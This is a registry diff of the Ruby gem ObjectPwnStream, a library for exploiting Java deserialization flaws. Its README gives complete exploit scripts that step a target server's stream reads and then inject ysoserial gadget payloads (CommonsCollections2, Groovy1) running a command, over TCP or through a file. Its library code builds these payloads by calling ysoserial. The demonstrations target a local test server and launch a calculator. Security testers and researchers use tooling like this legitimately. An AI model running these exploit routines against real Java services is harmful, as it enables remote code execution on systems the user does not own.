ObjectPwnStream 0.1.0 → 0.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/ObjectPwnStream.gemspec +39 -37
- data/README.md +43 -19
- data/lib/ObjectPwnStream/Errors.rb +1 -1
- data/lib/ObjectPwnStream/ObjectInputStream.rb +27 -23
- data/lib/ObjectPwnStream/ObjectOutputStream.rb +37 -37
- data/lib/ObjectPwnStream/PwnStream.rb +30 -13
- data/lib/ObjectPwnStream/Utils.rb +1 -1
- data/lib/ObjectPwnStream.rb +4 -4
- metadata +7 -8
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: a347144ffdcd286655765d02b35f820cf238e5adcd51dac5c99d7b45bbfe27ad
|
4
|
+
data.tar.gz: 99087fbd42c52cacb190587658855f4969264cf97d2b41fe28dd5ab144b5ff30
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: cd6baf49d561329eabc2df8f38313bc88ebcf44c9b4d9b6e6a62e9c4e02fa63c9b28ea6c5fae9dffa91a940b6f77156ac57eabd4e14b69d157b77da869e12f47
|
7
|
+
data.tar.gz: 69f5c87cd8c25297861418a2ae7d98d8dcfd6f68ab28d228e1452221107111f9b03c4beee5bb4ee16a61c98384b94a15d32584b72990984c5f5ddf6a933454c1
|
data/ObjectPwnStream.gemspec
CHANGED
@@ -1,37 +1,39 @@
|
|
1
|
-
# coding: utf-8
|
2
|
-
require_relative 'lib/ObjectPwnStream'
|
3
|
-
lib = File.expand_path("../lib", __FILE__)
|
4
|
-
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
|
5
|
-
|
6
|
-
|
7
|
-
Gem::Specification.new do |spec|
|
8
|
-
spec.name = "ObjectPwnStream"
|
9
|
-
spec.version = ObjectPwnStream::VERSION
|
10
|
-
spec.authors = "hakivvi"
|
11
|
-
spec.email = "hakivvi@gmail.com"
|
12
|
-
|
13
|
-
spec.summary = %q{a Ruby implementation for ObjectInputStream and ObjectOutputStream to ease JAVA deserialization exploitation.}
|
14
|
-
spec.description = %q{a Ruby implementation of Java's ObjectInputStream and ObjectOutputStream, to ease the process of Java deserialization exploitation
|
15
|
-
spec.homepage = "https://github.com/hakivvi/ObjectPwnStream"
|
16
|
-
spec.license = "MIT"
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
#
|
21
|
-
#
|
22
|
-
#
|
23
|
-
#
|
24
|
-
#
|
25
|
-
#
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
spec.
|
33
|
-
|
34
|
-
spec.
|
35
|
-
|
36
|
-
spec.add_development_dependency "
|
37
|
-
|
1
|
+
# coding: utf-8
|
2
|
+
require_relative 'lib/ObjectPwnStream'
|
3
|
+
lib = File.expand_path("../lib", __FILE__)
|
4
|
+
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
|
5
|
+
|
6
|
+
|
7
|
+
Gem::Specification.new do |spec|
|
8
|
+
spec.name = "ObjectPwnStream"
|
9
|
+
spec.version = ObjectPwnStream::VERSION
|
10
|
+
spec.authors = "hakivvi"
|
11
|
+
spec.email = "hakivvi@gmail.com"
|
12
|
+
|
13
|
+
spec.summary = %q{a Ruby implementation for ObjectInputStream and ObjectOutputStream to ease JAVA deserialization exploitation.}
|
14
|
+
spec.description = %q{a Ruby implementation of Java's ObjectInputStream and ObjectOutputStream, to ease the process of Java deserialization exploitation.}
|
15
|
+
spec.homepage = "https://github.com/hakivvi/ObjectPwnStream"
|
16
|
+
spec.license = "MIT"
|
17
|
+
|
18
|
+
spec.required_ruby_version = '>= 3.0.0'
|
19
|
+
|
20
|
+
# Prevent pushing this gem to RubyGems.org. To allow pushes either set the 'allowed_push_host'
|
21
|
+
# to allow pushing to a single host or delete this section to allow pushing to any host.
|
22
|
+
# if spec.respond_to?(:metadata)
|
23
|
+
# spec.metadata["allowed_push_host"] = "TODO: Set to 'http://mygemserver.com'"
|
24
|
+
# else
|
25
|
+
# raise "RubyGems 2.0 or newer is required to protect against " \
|
26
|
+
# "public gem pushes."
|
27
|
+
# end
|
28
|
+
|
29
|
+
spec.files = `git ls-files -z`.split("\x0").reject do |f|
|
30
|
+
f.match(%r{^(test|spec|features)/})
|
31
|
+
end
|
32
|
+
spec.bindir = "exe"
|
33
|
+
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
|
34
|
+
spec.require_paths = ["lib"]
|
35
|
+
|
36
|
+
spec.add_development_dependency "bundler"
|
37
|
+
spec.add_development_dependency "rake", ">= 12.3.3"
|
38
|
+
spec.add_development_dependency "rspec", "~> 3.0"
|
39
|
+
end
|
data/README.md
CHANGED
@@ -1,7 +1,10 @@
|
|
1
|
-
<<<<<<< HEAD
|
2
1
|
# ObjectPwnStream
|
3
2
|
|
4
|
-
a Ruby implementation of Java's `ObjectInputStream` and `ObjectOutputStream`, to ease the process of Java deserialization exploitation
|
3
|
+
a Ruby implementation of Java's `ObjectInputStream` and `ObjectOutputStream`, to ease the process of Java deserialization exploitation.
|
4
|
+
|
5
|
+
the library is currently able to deliver the serialized payloads to TCP connections (`tcpSocket.getInputStream()`) and files (`FileInputStream()`).
|
6
|
+
## Requirements
|
7
|
+
- Ruby v3.0.0 or newer
|
5
8
|
|
6
9
|
## Installation
|
7
10
|
|
@@ -24,12 +27,13 @@ Or install it from main branch:
|
|
24
27
|
$ git clone https://github.com/hakivvi/ObjectPwnStream
|
25
28
|
$ cd ObjectPwnStream
|
26
29
|
$ bundle install && bundle exec rake install
|
30
|
+
|
27
31
|
## Usage
|
28
32
|
the library provides a set of methods to mimic the methods of both `ObjectInputStream` and `ObjectOutputStream`,
|
29
33
|
|
30
|
-
the `readObject()` method is not always the first function run on a
|
34
|
+
the `readObject()` method is not always the first function run on a `Socket` or a `FileInputStream`, so you can't just feed the server with your serialized payload or else `java.io.StreamCorruptedException` will be thrown by the server.
|
31
35
|
|
32
|
-
take this
|
36
|
+
take this [test server](https://github.com/hakivvi/ObjectPwnStream/blob/main/spec/test/ToyServer.java) for example, which does read and write a bunch of types before actually calling `readObject()` which the attacker is usually interested in:
|
33
37
|
```java
|
34
38
|
s = serverSock.accept();
|
35
39
|
System.out.println("[+] Connection accepted from " + s.getInetAddress().getHostAddress() + ":" + s.getPort());
|
@@ -77,26 +81,49 @@ using `ObjectPwnStream` library, we can do just that:
|
|
77
81
|
```ruby
|
78
82
|
require 'ObjectPwnStream'
|
79
83
|
|
80
|
-
pwnStream = ObjectPwnStream::PwnStream.new("127.0.0.1", 9090)
|
84
|
+
pwnStream = ObjectPwnStream::PwnStream.new(host: "127.0.0.1", port: 9090)
|
81
85
|
pwnStream.connect!
|
82
86
|
pwnStream.open_streams!
|
83
87
|
pwnStream.read_int
|
84
|
-
pwnStream.write_int
|
88
|
+
pwnStream.write_int(0x1337)
|
85
89
|
pwnStream.read_utf
|
86
90
|
pwnStream.write_utf "ObjectPwnStream"
|
87
91
|
pwnStream.read_short
|
88
|
-
pwnStream.write_short
|
89
|
-
pwnStream.read_long
|
90
|
-
pwnStream.write_long
|
92
|
+
pwnStream.write_short(0xabcd)
|
93
|
+
pwnStream.read_long(signed: true)
|
94
|
+
pwnStream.write_long(-12345)
|
91
95
|
pwnStream.read_object
|
92
|
-
pwnStream.ysoserial_generate!("./ysoserial.jar",
|
96
|
+
pwnStream.ysoserial_generate!("./ysoserial.jar","CommonsCollections2", "gnome-calculator", encode: true, windows: false)
|
93
97
|
pwnStream.write_object(ysoserial: true)
|
94
98
|
```
|
95
|
-
|
99
|
+
or as a [`FileInputStream`](https://github.com/hakivvi/ObjectPwnStream/blob/main/spec/test/ToyServerFileMode.java):
|
100
|
+
```java
|
101
|
+
ObjectInputStream fis = new ObjectInputStream(new FileInputStream("/tmp/to_deserialize_file"));
|
96
102
|
|
97
|
-
|
103
|
+
System.out.printf("got a long from the file: %d\n", fis.readLong());
|
104
|
+
try {
|
105
|
+
fis.readObject();
|
106
|
+
} catch(Throwable e){}
|
107
|
+
System.out.println("readObject(): done.");
|
108
|
+
```
|
109
|
+
to successfully reach `readObject()`, we should provide a valid `long` type first, the [script](https://github.com/hakivvi/ObjectPwnStream/blob/main/spec/test/test_file_mode.rb) will be:
|
110
|
+
```ruby
|
111
|
+
require 'ObjectPwnStream'
|
112
|
+
|
113
|
+
pwnStream = ObjectPwnStream::PwnStream.new(file_path: "/tmp/to_deserialize_file")
|
114
|
+
pwnStream.connect!
|
115
|
+
pwnStream.open_output_stream!
|
116
|
+
pwnStream.write_long(12345)
|
117
|
+
pwnStream.ysoserial_generate!("../ysoserial.jar", "Groovy1", "gnome-calculator", encode: true, windows: false)
|
118
|
+
pwnStream.write_object(ysoserial: true)
|
119
|
+
pwnStream.close!
|
120
|
+
```
|
121
|
+
## PoC
|
122
|
+
|
123
|
+
find a test vulnerable Java server and a Ruby ObjectPwnStream exploit in the [test](https://github.com/hakivvi/ObjectPwnStream/tree/main/spec/test) directory.
|
124
|
+
|
125
|
+

|
98
126
|
|
99
|
-
To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and tags, and push the `.gem` file to [rubygems.org](https://rubygems.org).
|
100
127
|
|
101
128
|
## Contributing
|
102
129
|
|
@@ -108,12 +135,9 @@ The gem is available as open source under the terms of the [MIT License](http://
|
|
108
135
|
|
109
136
|
## Code of Conduct
|
110
137
|
|
111
|
-
Everyone interacting in the ObjectPwnStream project’s codebases, issue trackers, chat rooms and mailing lists is expected to follow the [code of conduct](https://
|
138
|
+
Everyone interacting in the ObjectPwnStream project’s codebases, issue trackers, chat rooms and mailing lists is expected to follow the [code of conduct](https://opensource.guide/code-of-conduct/).
|
112
139
|
|
113
140
|
## Todo
|
114
141
|
|
115
|
-
- document all the functions.
|
116
|
-
- support CLI mode.
|
117
|
-
=======
|
118
|
-
# ObjectPwnStream
|
119
|
-
>>>>>>> 722378df4eaf6880483a7235cdda15036bd64adb
|
142
|
+
- [ ] document all the functions.
|
143
|
+
- [ ] support CLI mode.
|
@@ -9,7 +9,7 @@ module ObjectPwnStream
|
|
9
9
|
end
|
10
10
|
|
11
11
|
class PayloadStreamHeaderError < StandardError
|
12
|
-
def message()="the
|
12
|
+
def message()="the signed: false serialized payload has an invalid stream header."
|
13
13
|
end
|
14
14
|
|
15
15
|
class YsoserialGenerateError < StandardError
|
@@ -10,17 +10,17 @@ module ObjectPwnStream
|
|
10
10
|
check_stream_header(read_stream_header)
|
11
11
|
end
|
12
12
|
|
13
|
-
def read_int(signed
|
13
|
+
def read_int(signed: false)
|
14
14
|
_, length = read_block_header
|
15
15
|
template = (signed ? "l>" : "L>")
|
16
|
-
@
|
16
|
+
@instream.read(length).unpack(template)[0]
|
17
17
|
# to_signed(hex.to_i(16))
|
18
18
|
end
|
19
19
|
|
20
|
-
def read_short(signed
|
20
|
+
def read_short(signed: false)
|
21
21
|
_, length = read_block_header
|
22
22
|
template = (signed ? "s>" : "S>")
|
23
|
-
@
|
23
|
+
@instream.read(length).unpack(template)[0]
|
24
24
|
end
|
25
25
|
|
26
26
|
def read_char
|
@@ -29,75 +29,79 @@ module ObjectPwnStream
|
|
29
29
|
|
30
30
|
def read_chars
|
31
31
|
_, length = read_block_header
|
32
|
-
@
|
32
|
+
@instream.read(length).unpack("S>*").pack("U*")
|
33
33
|
end
|
34
34
|
|
35
35
|
def read_byte
|
36
36
|
read_block_header
|
37
|
-
@
|
37
|
+
@instream.getbyte
|
38
38
|
end
|
39
39
|
|
40
40
|
def read_bytes
|
41
41
|
_, length = read_block_header
|
42
|
-
@
|
42
|
+
@instream.read(length).unpack("C*")
|
43
43
|
end
|
44
44
|
|
45
45
|
def read_utf
|
46
46
|
_, block_length = read_block_header
|
47
|
-
length = @
|
48
|
-
@
|
47
|
+
length = @instream.read(2).unpack("S>")[0]
|
48
|
+
@instream.read(length).unpack("U*").pack("U*")
|
49
49
|
end
|
50
50
|
|
51
51
|
def read_boolean
|
52
52
|
read_block_header
|
53
|
-
bool = @
|
53
|
+
bool = @instream.getbyte
|
54
54
|
bool != 0
|
55
55
|
end
|
56
56
|
|
57
57
|
def handle_reset
|
58
|
-
check_stream_reset(@
|
58
|
+
check_stream_reset(@instream.getbyte)
|
59
59
|
end
|
60
60
|
|
61
61
|
def read_float
|
62
62
|
_, length = read_block_header
|
63
|
-
@
|
63
|
+
@instream.read(length).unpack("g")[0]
|
64
64
|
end
|
65
65
|
|
66
66
|
def read_double
|
67
67
|
_, length = read_block_header
|
68
|
-
@
|
68
|
+
@instream.read(length).unpack("G")[0]
|
69
69
|
end
|
70
70
|
|
71
|
-
def read_long(signed
|
71
|
+
def read_long(signed: false)
|
72
72
|
_, length = read_block_header
|
73
73
|
template = signed ? "q>" : "Q>"
|
74
|
-
@
|
74
|
+
@instream.read(length).unpack(template)[0]
|
75
75
|
end
|
76
76
|
|
77
77
|
def read_object
|
78
|
-
|
79
|
-
|
80
|
-
|
78
|
+
unless @file_mode
|
79
|
+
bytes = [@instream.getbyte]
|
80
|
+
while @instream.ready?
|
81
|
+
bytes << @instream.getbyte
|
82
|
+
end
|
83
|
+
else
|
84
|
+
bytes = @instream.each_byte.to_a
|
81
85
|
end
|
82
86
|
bytes.pack("C*")
|
83
87
|
end
|
84
88
|
|
85
89
|
private
|
86
90
|
def read_stream_header
|
87
|
-
@
|
91
|
+
@instream.read(4).unpack("S>S>")
|
88
92
|
end
|
89
93
|
|
90
94
|
def read_block_header
|
91
|
-
block = @
|
95
|
+
block = @instream.getbyte
|
92
96
|
if block.eql?(Constants::TC_BLOCKDATA)
|
93
|
-
length = @
|
97
|
+
length = @instream.getbyte
|
94
98
|
elsif block.eql?(Constants::TC_BLOCKDATALONG)
|
95
|
-
length = @
|
99
|
+
length = @instream.read(4).unpack("I>")[0]
|
96
100
|
end
|
97
101
|
[block, length]
|
98
102
|
end
|
99
103
|
|
100
|
-
def check_stream_header(header, provided
|
104
|
+
def check_stream_header(header, provided: nil)
|
101
105
|
unless header.first.eql?(Constants::STREAM_MAGIC) && header.last.eql?(Constants::STREAM_VERSION)
|
102
106
|
raise provided.nil? ? Errors::StreamHeaderError : !provided ? Errors::YsoserialPayloadCorruptedError : Errors::PayloadStreamHeaderError
|
103
107
|
end
|
@@ -10,21 +10,21 @@ module ObjectPwnStream
|
|
10
10
|
write_stream_header(*[Constants::STREAM_MAGIC, Constants::STREAM_VERSION])
|
11
11
|
end
|
12
12
|
|
13
|
-
def write_int(v, signed
|
13
|
+
def write_int(v, signed: false)
|
14
14
|
length = 4
|
15
15
|
write_block_header(Constants::TC_BLOCKDATA, length)
|
16
16
|
template = (signed ? "l>" : "L>")
|
17
|
-
@
|
18
|
-
@
|
17
|
+
@outstream.write([v].pack(template))
|
18
|
+
@outstream.flush
|
19
19
|
end
|
20
20
|
|
21
|
-
def write_short(v, signed
|
21
|
+
def write_short(v, signed: false)
|
22
22
|
v &= 0xFFFF
|
23
23
|
length = 2
|
24
24
|
write_block_header(Constants::TC_BLOCKDATA, length)
|
25
25
|
template = (signed ? "s>" : "S>")
|
26
|
-
@
|
27
|
-
@
|
26
|
+
@outstream.write([v].pack(template))
|
27
|
+
@outstream.flush
|
28
28
|
end
|
29
29
|
|
30
30
|
def write_char(char)
|
@@ -35,86 +35,86 @@ module ObjectPwnStream
|
|
35
35
|
conv = Encoding::Converter.new("utf-8", "utf-16")
|
36
36
|
data = conv.convert(str)
|
37
37
|
write_block_header(Constants::TC_BLOCKDATA, data.bytesize)
|
38
|
-
@
|
39
|
-
@
|
38
|
+
@outstream.write(data)
|
39
|
+
@outstream.flush
|
40
40
|
end
|
41
41
|
|
42
42
|
def write_byte(byte)
|
43
43
|
write_block_header(Constants::TC_BLOCKDATA, 0x1)
|
44
|
-
@
|
45
|
-
@
|
44
|
+
@outstream.putc(byte)
|
45
|
+
@outstream.flush
|
46
46
|
end
|
47
47
|
|
48
48
|
def write_bytes(bytes)
|
49
49
|
write_block_header(Constants::TC_BLOCKDATA, bytes.size)
|
50
|
-
bytes.each {@
|
51
|
-
@
|
50
|
+
bytes.each {@outstream.putc(_1)}
|
51
|
+
@outstream.flush
|
52
52
|
end
|
53
53
|
|
54
54
|
def write_utf(str)
|
55
55
|
utf_size = str.bytesize
|
56
56
|
write_block_header(Constants::TC_BLOCKDATA, utf_size+2)
|
57
|
-
@
|
58
|
-
@
|
59
|
-
@
|
57
|
+
@outstream.write([utf_size].pack("S>"))
|
58
|
+
@outstream.write(str)
|
59
|
+
@outstream.flush
|
60
60
|
|
61
61
|
end
|
62
62
|
|
63
63
|
def write_boolean(bool)
|
64
64
|
write_block_header(Constants::TC_BLOCKDATA, 1)
|
65
|
-
@
|
66
|
-
@
|
65
|
+
@outstream.putc(bool ? 0x1 : 0x0)
|
66
|
+
@outstream.flush
|
67
67
|
end
|
68
68
|
|
69
69
|
def write_float(float)
|
70
70
|
write_block_header(Constants::TC_BLOCKDATA, 4)
|
71
|
-
@
|
72
|
-
@
|
71
|
+
@outstream.write([float].pack("g"))
|
72
|
+
@outstream.flush
|
73
73
|
end
|
74
74
|
|
75
75
|
def write_double(double)
|
76
76
|
write_block_header(Constants::TC_BLOCKDATA, 8)
|
77
|
-
@
|
78
|
-
@
|
77
|
+
@outstream.write([double].pack("G"))
|
78
|
+
@outstream.flush
|
79
79
|
end
|
80
80
|
|
81
|
-
def write_long(long, signed
|
81
|
+
def write_long(long, signed: false)
|
82
82
|
write_block_header(Constants::TC_BLOCKDATA, 8)
|
83
83
|
template = signed ? "q>" : "Q>"
|
84
|
-
@
|
85
|
-
@
|
84
|
+
@outstream.write([long].pack(template))
|
85
|
+
@outstream.flush
|
86
86
|
end
|
87
87
|
|
88
88
|
def reset!
|
89
|
-
@
|
90
|
-
@
|
89
|
+
@outstream.putc(Constants::TC_RESET)
|
90
|
+
@outstream.flush
|
91
91
|
end
|
92
92
|
|
93
93
|
def write_object(payload_path: nil, payload: nil, ysoserial: false)
|
94
94
|
if ysoserial
|
95
|
-
@
|
96
|
-
@
|
95
|
+
@outstream.write(@payload)
|
96
|
+
@outstream.flush
|
97
97
|
elsif payload
|
98
98
|
ObjectInputStream.check_stream_header(payload[...4].unpack("S>*"), provided: true)
|
99
|
-
@
|
100
|
-
@
|
99
|
+
@outstream.write(payload[4..])
|
100
|
+
@outstream.flush
|
101
101
|
elsif payload_path
|
102
102
|
pf = File.open(payload_path, "rb")
|
103
103
|
ObjectInputStream.check_stream_header(pf.read(4).unpack("S>*"), provided: true)
|
104
|
-
@
|
105
|
-
@
|
104
|
+
@outstream.write(pf.read(pf.size-4))
|
105
|
+
@outstream.flush
|
106
106
|
end
|
107
107
|
end
|
108
108
|
|
109
109
|
private
|
110
110
|
def write_stream_header(block, version)
|
111
|
-
@
|
112
|
-
@
|
113
|
-
|
111
|
+
@outstream.write([block, version].pack("S>S>"))
|
112
|
+
@outstream.flush
|
113
|
+
end
|
114
114
|
|
115
115
|
def write_block_header(block, length)
|
116
|
-
@
|
117
|
-
@
|
116
|
+
@outstream.write([block, length].pack("CC"))
|
117
|
+
@outstream.flush
|
118
118
|
end
|
119
119
|
end
|
120
120
|
end
|
@@ -9,35 +9,53 @@ module ObjectPwnStream
|
|
9
9
|
@host = nil
|
10
10
|
@port = nil
|
11
11
|
@socket = nil
|
12
|
+
@file_path, @file_mode = nil
|
13
|
+
@instream, @outstream = nil
|
12
14
|
@payload = nil
|
13
15
|
|
14
16
|
include ObjectOutputStream
|
15
17
|
include ObjectInputStream
|
16
|
-
attr_reader :
|
17
|
-
def initialize(host, port, connect
|
18
|
-
|
19
|
-
|
20
|
-
|
18
|
+
attr_reader :instream, :outstream
|
19
|
+
def initialize(host: nil, port: nil, file_path: nil, connect: false)
|
20
|
+
if file_path.nil?
|
21
|
+
@host = host
|
22
|
+
@port = port.to_i
|
23
|
+
connect! if connect
|
24
|
+
else
|
25
|
+
@file_mode = true
|
26
|
+
@file_path = file_path
|
27
|
+
connect! if connect
|
28
|
+
end
|
21
29
|
end
|
22
30
|
|
23
31
|
def connect!
|
24
|
-
|
32
|
+
unless @file_mode
|
33
|
+
@socket ||= TCPSocket.open(@host, @port)
|
34
|
+
@socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)
|
35
|
+
@socket.sync = true
|
36
|
+
@instream = @outstream = @socket
|
37
|
+
else
|
38
|
+
@outstream ||= File.open(@file_path, 'wb')
|
39
|
+
@instream ||= File.open(@file_path, 'rb')
|
40
|
+
@outstream.sync = true
|
41
|
+
end
|
25
42
|
end
|
26
43
|
|
27
44
|
def close!
|
28
|
-
@
|
29
|
-
@
|
30
|
-
@
|
45
|
+
@outstream.flush
|
46
|
+
@outstream.close
|
47
|
+
@instream.close
|
48
|
+
@socket, @file_path, @instream, @outstream, @file_mode = nil
|
31
49
|
end
|
32
50
|
|
33
51
|
def ysoserial_generate!(ysoserial_path, gadget, cmd, java_path: nil, encode: false, windows: false)
|
34
|
-
cmd = Utils.exec_encode(cmd, windows) if encode
|
52
|
+
cmd = Utils.exec_encode(cmd, windows: windows) if encode
|
35
53
|
ycmd = "#{java_path && '"'}#{java_path || 'java'}#{java_path && '"'} -jar \"#{ysoserial_path}\" #{gadget} \"#{cmd}\""
|
36
54
|
stdout = Open3.capture3(ycmd, :binmode => true)[0]
|
37
55
|
if stdout.empty?
|
38
56
|
raise Errors::YsoserialGenerateError.new(ycmd)
|
39
57
|
else
|
40
|
-
ObjectInputStream.check_stream_header(stdout[...4].unpack("S>*"), provided
|
58
|
+
ObjectInputStream.check_stream_header(stdout[...4].unpack("S>*"), provided: false)
|
41
59
|
@payload = stdout[4..]
|
42
60
|
end
|
43
61
|
end
|
@@ -45,9 +63,8 @@ module ObjectPwnStream
|
|
45
63
|
alias_method :open_input_stream!, :open_input_stream
|
46
64
|
alias_method :open_output_stream!, :open_output_stream
|
47
65
|
def open_streams!
|
48
|
-
@socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)
|
49
|
-
open_input_stream
|
50
66
|
open_output_stream
|
67
|
+
open_input_stream
|
51
68
|
end
|
52
69
|
end
|
53
70
|
end
|
data/lib/ObjectPwnStream.rb
CHANGED
@@ -1,5 +1,5 @@
|
|
1
|
-
require_relative 'ObjectPwnStream/PwnStream'
|
2
|
-
|
3
|
-
module ObjectPwnStream
|
4
|
-
VERSION = "0.1
|
1
|
+
require_relative 'ObjectPwnStream/PwnStream'
|
2
|
+
|
3
|
+
module ObjectPwnStream
|
4
|
+
VERSION = "0.2.1"
|
5
5
|
end
|
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: ObjectPwnStream
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.1
|
4
|
+
version: 0.2.1
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- hakivvi
|
@@ -28,16 +28,16 @@ dependencies:
|
|
28
28
|
name: rake
|
29
29
|
requirement: !ruby/object:Gem::Requirement
|
30
30
|
requirements:
|
31
|
-
- - "
|
31
|
+
- - ">="
|
32
32
|
- !ruby/object:Gem::Version
|
33
|
-
version:
|
33
|
+
version: 12.3.3
|
34
34
|
type: :development
|
35
35
|
prerelease: false
|
36
36
|
version_requirements: !ruby/object:Gem::Requirement
|
37
37
|
requirements:
|
38
|
-
- - "
|
38
|
+
- - ">="
|
39
39
|
- !ruby/object:Gem::Version
|
40
|
-
version:
|
40
|
+
version: 12.3.3
|
41
41
|
- !ruby/object:Gem::Dependency
|
42
42
|
name: rspec
|
43
43
|
requirement: !ruby/object:Gem::Requirement
|
@@ -53,8 +53,7 @@ dependencies:
|
|
53
53
|
- !ruby/object:Gem::Version
|
54
54
|
version: '3.0'
|
55
55
|
description: a Ruby implementation of Java's ObjectInputStream and ObjectOutputStream,
|
56
|
-
to ease the process of Java deserialization exploitation
|
57
|
-
protocols.
|
56
|
+
to ease the process of Java deserialization exploitation.
|
58
57
|
email: hakivvi@gmail.com
|
59
58
|
executables: []
|
60
59
|
extensions: []
|
@@ -89,7 +88,7 @@ required_ruby_version: !ruby/object:Gem::Requirement
|
|
89
88
|
requirements:
|
90
89
|
- - ">="
|
91
90
|
- !ruby/object:Gem::Version
|
92
|
-
version:
|
91
|
+
version: 3.0.0
|
93
92
|
required_rubygems_version: !ruby/object:Gem::Requirement
|
94
93
|
requirements:
|
95
94
|
- - ">="
|